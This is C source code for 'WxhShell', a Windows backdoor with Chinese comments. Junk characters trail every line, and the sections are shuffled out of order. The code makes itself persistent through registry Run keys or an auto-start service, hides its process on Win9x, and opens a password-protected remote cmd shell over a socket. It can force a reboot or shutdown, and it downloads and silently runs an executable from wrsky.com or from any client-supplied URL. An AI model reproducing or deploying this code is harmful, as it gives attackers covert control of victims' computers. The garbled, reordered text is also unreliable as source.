  case 'd': { W Su6chz)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kpIn_Ea  
    if(Boot(SHUTDOWN)) c 'wRGMP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jez0 A  
    else { H.ksI;,  
    closesocket(wsh); uBx\xeI  
    ExitThread(0); $jg[6`L$  
    } #Az#_0=  
    break; L)J1yw  
    } f7~dn#<@  
  // 获取shell B_Q{B|eEt&  
  case 's': { )|xu5.F  
    CmdShell(wsh); Q_0+N3  
    closesocket(wsh); FL^ _)`  
    ExitThread(0); -&>V.hi7  
    break; Fm0d0j  
  } $G9LaD#;M  
  // 退出 AAlc %d/9  
  case 'x': { x2"1,1%H7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rM,e$  
    CloseIt(wsh); ,s#~00C|  
    break; $qQYxx@  
    } @"MYq#2c$  
  // 离开 S > ~f.   
  case 'q': { w Wb>V&3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a+cMXMf  
    closesocket(wsh); .cHgYHa  
    WSACleanup(); k i<X^^  
    exit(1); S@HC$  
    break; uI7n{4W*x  
        } w~b:9_reY  
  } $:F+Nf 8  
  } OX]$Xdb2:  
5p[}<I{  
  // 提示信息 QPDh!A3T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FpRYffT 9u  
}  n?EgC8b9  
  } KUUA>'=  
K>$f#^  
  return; !Zj ]0,^  
} pY"WW0p"C  
ls^Z"9P  
// shell模块句柄 \Mg_Q$  
int CmdShell(SOCKET sock) 1n8[fgz  
{ e.n(NW  
STARTUPINFO si; "=Br&FN{|  
ZeroMemory(&si,sizeof(si)); 1P!)4W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [P`e @$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mZR3Hl$  
PROCESS_INFORMATION ProcessInfo; #{q.s[g*+1  
char cmdline[]="cmd"; +)sX8zb*gY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lA5Dag'  
  return 0; n^4R]9U  
} 2CzhaO  
;|5-{+2U%  
// 自身启动模式 $9,&BW_*  
int StartFromService(void)  LgNIb  
{ &W@2n&U.q  
typedef struct u1%URen[x  
{ ^9[Q;=R  
  DWORD ExitStatus; 13X}pnW  
  DWORD PebBaseAddress; 7y'uZAF  
  DWORD AffinityMask; ^<CVQ8R7  
  DWORD BasePriority; `pfIgryns  
  ULONG UniqueProcessId; Gaix6@X6'  
  ULONG InheritedFromUniqueProcessId; 4b2d(x)0X  
}   PROCESS_BASIC_INFORMATION; kXSX<b<%  
c  C3>Ff'  
PROCNTQSIP NtQueryInformationProcess; l*1|B3#m!  
e3p|g]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |"gL {De  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y@3p5o9lv-  
t%lat./yT  
  HANDLE             hProcess; rm[C{Pn  
  PROCESS_BASIC_INFORMATION pbi; >$4# G)s  
FDz`U:8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HT;^u"a~  
  if(NULL == hInst ) return 0; ]3_b3@k  
,;`f* #  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8>v_th  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @sXv5kZ:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Al-`}g+^  
:>1nkm&Eg  
  if (!NtQueryInformationProcess) return 0; ==dKC;  
vgwpuRL5b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n3a.)tcC  
  if(!hProcess) return 0; _ %nz-I  
^e.-Ji  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v-{g  
UT<e/  
  CloseHandle(hProcess); 5RP kAC  
[8iY0m_Qe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #CC5+  
if(hProcess==NULL) return 0; h aAY=:  
')"+ a^c  
HMODULE hMod; CvoFt=c$jE  
char procName[255]; npdljLN  
unsigned long cbNeeded; 928_e)V  
ue_wuZi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <u64)8'  
T }#iXgyx  
  CloseHandle(hProcess); yKc-:IBb{u  
uR0UfKK  
if(strstr(procName,"services")) return 1; // 以服务启动 b[74$W{  
T`&zQQ6F'  
  return 0; // 注册表启动 }t H$:Z  
} r]3-}:vU  
]@{Lx>Oh"  
// 主模块 my?Ly(#  
int StartWxhshell(LPSTR lpCmdLine) 6_j |@  
{ uz8LF47@:-  
  SOCKET wsl; Cr.YSW g)4  
BOOL val=TRUE; 0,%{r.\S  
  int port=0; KF. {r  
  struct sockaddr_in door; 4{P+p!4  
-YA,Stc-  
  if(wscfg.ws_autoins) Install(); 0fsVbC  
 - vvyG  
port=atoi(lpCmdLine); @-$8)?`q  
nKx)R^]k  
if(port<=0) port=wscfg.ws_port; Tuln#<:  
[9; @1I<x  
  WSADATA data; 8dczC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4>KF`?%4  
;*(-8R/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7~7L5PRW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QN:v4,$d  
  door.sin_family = AF_INET; vF72#BNs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kK? SG3  
  door.sin_port = htons(port); PYkhY;*  
I|@+O#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /DQYlNa  
closesocket(wsl); gEh/m.L7  
return 1; da$FY7  
} zxyl+tU &  
:`bC3Mr  
  if(listen(wsl,2) == INVALID_SOCKET) { + jLy>=u  
closesocket(wsl); G@8)3 @  
return 1; "=h1gql'  
} xcB\Y:   
  Wxhshell(wsl); vSgT36ZF  
  WSACleanup(); P?0X az  
t<H"J__&  
return 0; At Wv9  
@*6fEG{,q  
} a|ufm^ F  
*6Wiq5M>.  
// 以NT服务方式启动 (V{/8%mWc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Y($ F2  
{ eADCT  
DWORD   status = 0; 8w0~2-v.?V  
  DWORD   specificError = 0xfffffff; %8'8XDq^8  
VBhUh~:Om  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oTw!#Re)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RZa/la*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [|(|"dh@^H  
  serviceStatus.dwWin32ExitCode     = 0; mQ[$U  
  serviceStatus.dwServiceSpecificExitCode = 0; <FT7QO$I  
  serviceStatus.dwCheckPoint       = 0; yJA~4  
  serviceStatus.dwWaitHint       = 0; +}:Z9AAMy  
S$mv(C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !=[Y yh  
  if (hServiceStatusHandle==0) return; q}{E![ZTu  
) c@gRb~  
status = GetLastError(); tLE8+[ SU  
  if (status!=NO_ERROR) 1 .3#PdMR,  
{ q W(@p`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M:+CW;||!  
    serviceStatus.dwCheckPoint       = 0; ,-UF5U  
    serviceStatus.dwWaitHint       = 0; =2R4Z8G  
    serviceStatus.dwWin32ExitCode     = status; eaw!5]huu  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^m\o(R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kd\0nf6  
    return; 1/DtF  
  } j\y;~ V  
Ymut]`dX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @C;1e7  
  serviceStatus.dwCheckPoint       = 0; +f3Rzx]  
  serviceStatus.dwWaitHint       = 0; opcanl9pSW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !<[+u  
} Xoj"rR9|  
!>`Q]M`  
// 处理NT服务事件,比如:启动、停止 mF7 Ak&So^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G~9m,l+  
{ ]2AOW}=  
switch(fdwControl) @Z5q2Q  
{ k/K)nH@)  
case SERVICE_CONTROL_STOP: RXgb/VR  
  serviceStatus.dwWin32ExitCode = 0; 8lyIL^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'xW=qboOp  
  serviceStatus.dwCheckPoint   = 0; ;UdM8+^/V]  
  serviceStatus.dwWaitHint     = 0; B,>02EZ  
  { V DFgu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^C>kmo3J  
  }  !:( +#  
  return; qGinlE&\  
case SERVICE_CONTROL_PAUSE: ~D52b1f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P\U<,f  
  break; #xI g(nG  
case SERVICE_CONTROL_CONTINUE: yD9enYM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Liqo)m  
  break; bt}8ymcG  
case SERVICE_CONTROL_INTERROGATE: 4_#$k{  
  break; 4I4m4^  
}; 6N/(cUXJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )GB#"2  
} nrEI0E9  
_>gz&  
// 标准应用程序主函数 ]ch=@IV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C,|&  
{ XC<fNK  
4^7 v@3  
// 获取操作系统版本 o}N@Q-i gq  
OsIsNt=GetOsVer(); LU3pCM{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h&"9v~  
V)$!WPL@  
  // 从命令行安装 C5~#lNC  
  if(strpbrk(lpCmdLine,"iI")) Install(); :jiEn y  
Fis!MMh.$  
  // 下载执行文件 n Kkpp-  
if(wscfg.ws_downexe) { k!c7eP"%8^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~&?([}A  
  WinExec(wscfg.ws_filenam,SW_HIDE); \@Wv{0a(  
} +t!]nE #  
zIa={tU  
if(!OsIsNt) { x'|ty[87  
// 如果时win9x,隐藏进程并且设置为注册表启动 |<W$rzM  
HideProc(); @Q1!xA^S  
StartWxhshell(lpCmdLine); 8JLf @C:  
} J0sD?V|{1~  
else -P]O t>%S  
  if(StartFromService()) pqG> |#RG  
  // 以服务方式启动 x@#>l8k?  
  StartServiceCtrlDispatcher(DispatchTable); ?2@^O=I  
else jWdviS9&g  
  // 普通方式启动 ]\yIHdcDi  
  StartWxhshell(lpCmdLine); Ib(C`4%  
is;g`m  
return 0; ?:R]p2ID  
} 6h9(u7(-N  
]E9iaq6Z  
t{})6  
,,H5zmgA  
=========================================== VDxm|7  
k1Y\g'1  
M;A_'h?Z  
[RF,0>^b  
K^WDA])  
%.bDK}  
" 1_Yx]%g<  
C4m+Ta %  
#include <stdio.h> r8:r}Qj2w[  
#include <string.h> d1~#@6CIz  
#include <windows.h> .@H:P  
#include <winsock2.h> pGie!2T E  
#include <winsvc.h> '54\!yQ<{  
#include <urlmon.h> /-M:6  
Dk  `&tr  
#pragma comment (lib, "Ws2_32.lib") Ejk;(rxI  
#pragma comment (lib, "urlmon.lib") /&gg].&2?  
^O}a,  
#define MAX_USER   100 // 最大客户端连接数 zs=3e~o3  
#define BUF_SOCK   200 // sock buffer 'sEnh<  
#define KEY_BUFF   255 // 输入 buffer OZ`cE5"i  
E%w^q9C  
#define REBOOT     0   // 重启 k_pv6YrE  
#define SHUTDOWN   1   // 关机 poz_=,c  
9#DXA}  
#define DEF_PORT   5000 // 监听端口 %A zy#m  
Ip8ml0oG  
#define REG_LEN     16   // 注册表键长度 ]J Yz(m[   
#define SVC_LEN     80   // NT服务名长度 +C% 6jGGh  
& bTCTDZh  
// 从dll定义API n Bm ]?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4 \z@Evm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IO)Y0J>x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qd a 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ebA:Sq:w  
dIC\U  
// wxhshell配置信息 0)&!$@HW  
struct WSCFG { x%dny]O1;  
  int ws_port;         // 监听端口 VMah3T!  
  char ws_passstr[REG_LEN]; // 口令 %lCZ7z2o  
  int ws_autoins;       // 安装标记, 1=yes 0=no H-_gd.VD  
  char ws_regname[REG_LEN]; // 注册表键名 !Fl'?Kz  
  char ws_svcname[REG_LEN]; // 服务名 g *$2qKm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N,Y)'s<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ztVTXI%Kz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3?o4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (Yewd/T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }Uy QGRZ=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZthT('"a  
+tPBm{|  
}; %`]+sg[i  
qzW3MlD  
// default Wxhshell configuration 7(@xk_Pl  
struct WSCFG wscfg={DEF_PORT, "0eX/ rY%  
    "xuhuanlingzhe", D!`;vZ\>  
    1, ,X!6|l8  
    "Wxhshell", Q}#Je.;  
    "Wxhshell", tpWGmj fo>  
            "WxhShell Service", xQsxc  
    "Wrsky Windows CmdShell Service", G+dq */  
    "Please Input Your Password: ", sq$v6x sl  
  1, DI\=udN  
  "http://www.wrsky.com/wxhshell.exe", 5dj" UxH  
  "Wxhshell.exe" ]\*^G@HA2  
    }; 3d}v?q78  
NQ{(G8x9  
// 消息定义模块 )oIh?-WL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v3r3$(Hr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?V6,>e_+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #E]K*mE'  
char *msg_ws_ext="\n\rExit."; zQ,rw[C"W  
char *msg_ws_end="\n\rQuit."; R4p Pt  
char *msg_ws_boot="\n\rReboot..."; ]-gyXE1.r  
char *msg_ws_poff="\n\rShutdown..."; z0[@O)Sj  
char *msg_ws_down="\n\rSave to "; ggD T5hb  
4aO/^Hl  
char *msg_ws_err="\n\rErr!"; lu.]R>w  
char *msg_ws_ok="\n\rOK!"; 8lusKww  
SAP/jD$5]>  
char ExeFile[MAX_PATH]; N{%7OG  
int nUser = 0; \_Bj"K  
HANDLE handles[MAX_USER]; P j   
int OsIsNt; C|ZPnm>f30  
G)am ng/  
SERVICE_STATUS       serviceStatus; wn"}<ka  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "BQnP9  
nCYkUDnZ  
// 函数声明 Ty g>Xv  
int Install(void); <YvXyIs  
int Uninstall(void); E+]}KX:  
int DownloadFile(char *sURL, SOCKET wsh); ` -_!%m/  
int Boot(int flag); 8w5}9}xF  
void HideProc(void); X%yG{\6:  
int GetOsVer(void); x;~:p;]J2F  
int Wxhshell(SOCKET wsl); U WT%0t_T  
void TalkWithClient(void *cs); o]1BWwtY&  
int CmdShell(SOCKET sock); a7g;8t-&   
int StartFromService(void); 9xR5Jm>k  
int StartWxhshell(LPSTR lpCmdLine); wQSan&81Q  
<- \|>r Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;wwc;wQ'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c!IZLaVAr9  
G80N8Lm  
// 数据结构和表定义 GRcPzneiz  
SERVICE_TABLE_ENTRY DispatchTable[] = >pF*unC;  
{ !Gmnck&+  
{wscfg.ws_svcname, NTServiceMain}, V,-we|"  
{NULL, NULL} x3y+=aj  
}; Tz1^"tx9  
>V6t L;+  
// 自我安装 }Ulxt:}   
int Install(void) r `PJb5^\|  
{ wtS*-;W  
  char svExeFile[MAX_PATH]; @:>]jp}uq  
  HKEY key; 0:V /z3?  
  strcpy(svExeFile,ExeFile); \V-N~_-H  
)ce 6~   
// 如果是win9x系统,修改注册表设为自启动 0he3[m}Nr  
if(!OsIsNt) { D40 vCax^J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3"x_Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ $a3lR  
  RegCloseKey(key); H$%MIBz>$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^MpMqm1?8;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0GUJc}fgvN  
  RegCloseKey(key); |Y uf/G%/  
  return 0; Yc7 YNC.  
    } fl-J:`zyyZ  
  } C5~~$7k0  
} HPphTu}`  
else { |^Iox0A  
O=jLZ2os  
// 如果是NT以上系统,安装为系统服务 Jxvh;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D /QLp3+o  
if (schSCManager!=0) <D a-rv8  
{ A4"TJZBg}  
  SC_HANDLE schService = CreateService Sp\TaUzg  
  (  W9?* ~!  
  schSCManager, FOF@@C~aH  
  wscfg.ws_svcname, }y6|H,t9  
  wscfg.ws_svcdisp, %Y&48''"  
  SERVICE_ALL_ACCESS, M/ 64`lcb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j!4{+&Laq  
  SERVICE_AUTO_START, X /c8XLe"  
  SERVICE_ERROR_NORMAL, I# tlaz#  
  svExeFile, -DkD*64wu  
  NULL, X$!fR >Zc  
  NULL, x17:~[c']  
  NULL, HTL6;87w+]  
  NULL, E&8Nh J  
  NULL i)x0 ]XF  
  ); ov+{<0Q  
  if (schService!=0) Wep^He\:  
  { |u>V> PN  
  CloseServiceHandle(schService); v.]{b8RR  
  CloseServiceHandle(schSCManager); $5XA S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cfi4~&  
  strcat(svExeFile,wscfg.ws_svcname); *q6XK_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X7$]qE K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t=Oq<r  
  RegCloseKey(key); PaKa bPY  
  return 0; i%o%bib#  
    } rn-bfzoDS  
  } NO~G4PUM0C  
  CloseServiceHandle(schSCManager); p4P=T@:  
} X,49(-~\  
} 5|rBb[  
n.@HT"  
return 1; h~#iGs  
} #&.Znk:@.f  
t oA}0MI(:  
// 自我卸载 y_9\07va<  
int Uninstall(void) 5{HF'1XgZ*  
{ H q6%$!q  
  HKEY key; UV2W~g  
}R;}d(C`  
if(!OsIsNt) { dqB,i9--  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AGFA;X  
  RegDeleteValue(key,wscfg.ws_regname); 54p{J  
  RegCloseKey(key); Z'i@;^=A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +QN4hJK  
  RegDeleteValue(key,wscfg.ws_regname); =K:[26  
  RegCloseKey(key); s",Ea*  
  return 0; Fn5BWV  
  } z\eQB%aM  
} l9 \W=-'  
} f9#zV2ke]  
else { ~lV#- m*  
&h/r]KrZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~R;/u")@e  
if (schSCManager!=0) )1 -<v);  
{ at?I @By  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I7_lKr3  
  if (schService!=0) 48 -j  
  {  ;Ci:d*  
  if(DeleteService(schService)!=0) { 76D$Nm  
  CloseServiceHandle(schService); L"jA#ULg  
  CloseServiceHandle(schSCManager); qIJc\,'  
  return 0; G y[5'J`  
  } _|\X8o_  
  CloseServiceHandle(schService); 0f5 ag&  
  } $]LS!@ Rm  
  CloseServiceHandle(schSCManager); V< F &\  
} I3>8B  
} N'y<<tTA  
N7s0Ua'-v  
return 1; rfonM~3?'  
} f:M^q ;  
, >WH)+a  
// 从指定url下载文件 LZ)g&A(j?  
int DownloadFile(char *sURL, SOCKET wsh) d*tWFr|J-  
{ t0f7dU3e;L  
  HRESULT hr; n1; a~0P  
char seps[]= "/"; T8m]f<  
char *token; d*|RFU  
char *file; :? )!yI  
char myURL[MAX_PATH]; Un8' P8C  
char myFILE[MAX_PATH]; (EcP'F*;;y  
pT=^o  
strcpy(myURL,sURL); [.>=> KJ_  
  token=strtok(myURL,seps); 79 4UY  
  while(token!=NULL) qoZi1,i'  
  { s O#cJAfuu  
    file=token; bqH [-mu6  
  token=strtok(NULL,seps); P DY :?/  
  } At@0G\^  
rd&d~R6  
GetCurrentDirectory(MAX_PATH,myFILE); $W|JQ h  
strcat(myFILE, "\\"); s=)W  
strcat(myFILE, file); qcO~}MJr}^  
  send(wsh,myFILE,strlen(myFILE),0); 1)c{;x& W  
send(wsh,"...",3,0); 9gA@D%0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oQ,n?on  
  if(hr==S_OK) KAZ<w~55c  
return 0; :uAL(3pQ  
else D`QMlRzXy  
return 1; _b8KK4UR  
k(G6` dY  
} @Nb/n  
/$%&fo\[  
// 系统电源模块 `.;U)}Tn  
int Boot(int flag) <SJ6<'  
{ 7[=G;2<  
  HANDLE hToken; 8qkQ*uJP  
  TOKEN_PRIVILEGES tkp; eTjPztdJbx  
7W}%ralkg  
  if(OsIsNt) { !Fs$W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %qcCv9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {3KY:%6qj  
    tkp.PrivilegeCount = 1; &FmTT8"l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t8Pf~v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~hq\XQX  
if(flag==REBOOT) { * 4J!@w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "tl{HM5u  
  return 0; J jZB!Lg=  
} vFHeGq70j  
else { `=;}I@]zj)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r]LP=K1  
  return 0; U{dK8~  
} .pZYPKMaE  
  } >3g`6d  
  else { hAUP#y@:H:  
if(flag==REBOOT) { W\j'8^kI9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  I wj[ ^  
  return 0; #rW-jW=A  
} \V'fB5  
else { VEa"^{,w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :C^{Lc  
  return 0; [BdRx`  
} ,(oolx"Xa  
} t$qIJt$  
PJ:!O?KVq  
return 1; j+'ua=T3  
} O: I]v@  
i5(qJ/u  
// win9x进程隐藏模块 n]vCvmt  
void HideProc(void) [3=Y 9P:  
{ , l!>+@  
IJ+}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9Znc|<  
  if ( hKernel != NULL ) \<9aS Y'U  
  { \6GNKeN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'O 7:=l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v 2rzHzFU  
    FreeLibrary(hKernel); 5f_x.~ymA  
  } q8ZxeMqx%  
_=x*yDPG}  
return;  ]LsT  
} q/w5Dx|:  
`dF~'  
// 获取操作系统版本 6|Dtx5 "r  
int GetOsVer(void) [ {"x{;  
{ CC@U'9]bH  
  OSVERSIONINFO winfo; :icpPv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7Z +Fjy-B  
  GetVersionEx(&winfo); kqX %y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) noaR3)  
  return 1; MYV3</Xj*  
  else 1 39T*0C  
  return 0; k]gPMhe  
} U`N?<zm<oO  
e`a4Gr  
// 客户端句柄模块 CUdpT$$x3  
int Wxhshell(SOCKET wsl) .>,Y |  
{ _3u3b/%J?  
  SOCKET wsh; `Gxb98h/r  
  struct sockaddr_in client; RpU i'  
  DWORD myID; @lM-+q(tl  
:xmj42w>^  
  while(nUser<MAX_USER) oGZuYpa9  
{ > mCH!ey  
  int nSize=sizeof(client); '%_K"rb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `"'u mIz  
  if(wsh==INVALID_SOCKET) return 1; QgH{J8 0  
ekfa"X_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^Rl?)_)1HE  
if(handles[nUser]==0) r9-ayp#pC  
  closesocket(wsh);  0zr%8Q(Q  
else 8T+o.w==  
  nUser++; A'}!'1  
  } V@RdvQy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _nzTd\L88  
X:f5t`;  
  return 0; %d-WQwJ  
} (-1{W^(  
Z;u3G4XlF  
// 关闭 socket w?3ww7yf`  
void CloseIt(SOCKET wsh) _"H\,7E  
{ &RuTq6)r  
closesocket(wsh); $uwz` N:  
nUser--; b'FTy i  
ExitThread(0); m0 W3pf  
} lZkJ<*z#  
?t}s3P!Q3w  
// 客户端请求句柄 {{bwmNv"  
void TalkWithClient(void *cs) |ggtb\W  
{ /J"fbBXwY  
!:xE X~  
  SOCKET wsh=(SOCKET)cs; ":sp0(`h  
  char pwd[SVC_LEN]; ~c+=$SL-=  
  char cmd[KEY_BUFF]; 7r3CO<fb  
char chr[1]; *\+oe+3  
int i,j; P1L+Vnfu  
 EAr;  
  while (nUser < MAX_USER) { ?|oN}y"i  
1QhQ#`$<1  
if(wscfg.ws_passstr) { ]p4?nT@]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S+Ia2O)BA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^v5]Aq~X  
  //ZeroMemory(pwd,KEY_BUFF); : maBec)  
      i=0; n<)A5UB5-  
  while(i<SVC_LEN) { 39[ylR|\  
2ER_?y  
  // 设置超时 37IHn6r\  
  fd_set FdRead; $\k)Y(&  
  struct timeval TimeOut; S^i8VYK,C5  
  FD_ZERO(&FdRead); K5<2jl3S  
  FD_SET(wsh,&FdRead); it>Bf;  
  TimeOut.tv_sec=8; y% !.:7Y  
  TimeOut.tv_usec=0; $zhvI*0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >X[:(m'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7[L%j;)bw  
%WP[V{,F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C\Ob!sv%H  
  pwd=chr[0]; )_Hv9!U]e  
  if(chr[0]==0xd || chr[0]==0xa) { v9TIEmZ  
  pwd=0; W4#DeT  
  break; ^K8XY@{&  
  }  MkdC*|  
  i++; UH7?JF-D  
    } %y_pF?2@q  
W7.RA>  
  // 如果是非法用户,关闭 socket @qWClr{`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ e<,GUx(]  
} V3|" v4  
5&A' +]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3*{l^<`:gA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #;1RStb:zj  
<JXHg, Q  
while(1) { &{#6Z  
5yJ~ q  
  ZeroMemory(cmd,KEY_BUFF); J?E!\V&U  
^%6f%]_  
      // 自动支持客户端 telnet标准   QYj 4D  
  j=0; sVnq|[ /  
  while(j<KEY_BUFF) { W<O/LHKHdn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c/F!cW{z^  
  cmd[j]=chr[0]; Q?>*h xzoP  
  if(chr[0]==0xa || chr[0]==0xd) { |Ul4n@+2  
  cmd[j]=0; 8t7r^[T  
  break; &liFUP?   
  } 1Qjc*+JzO.  
  j++; K0@bh/i/^  
    } :YLYCVi|  
GsD?Z%t~%  
  // 下载文件 o5+7Lt]  
  if(strstr(cmd,"http://")) { ': Ek3'L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %3=T7j  
  if(DownloadFile(cmd,wsh)) u ^2/:L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.{d,)G  
  else @.dM1DN)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V sL*&Fk  
  } Q/HEWk  
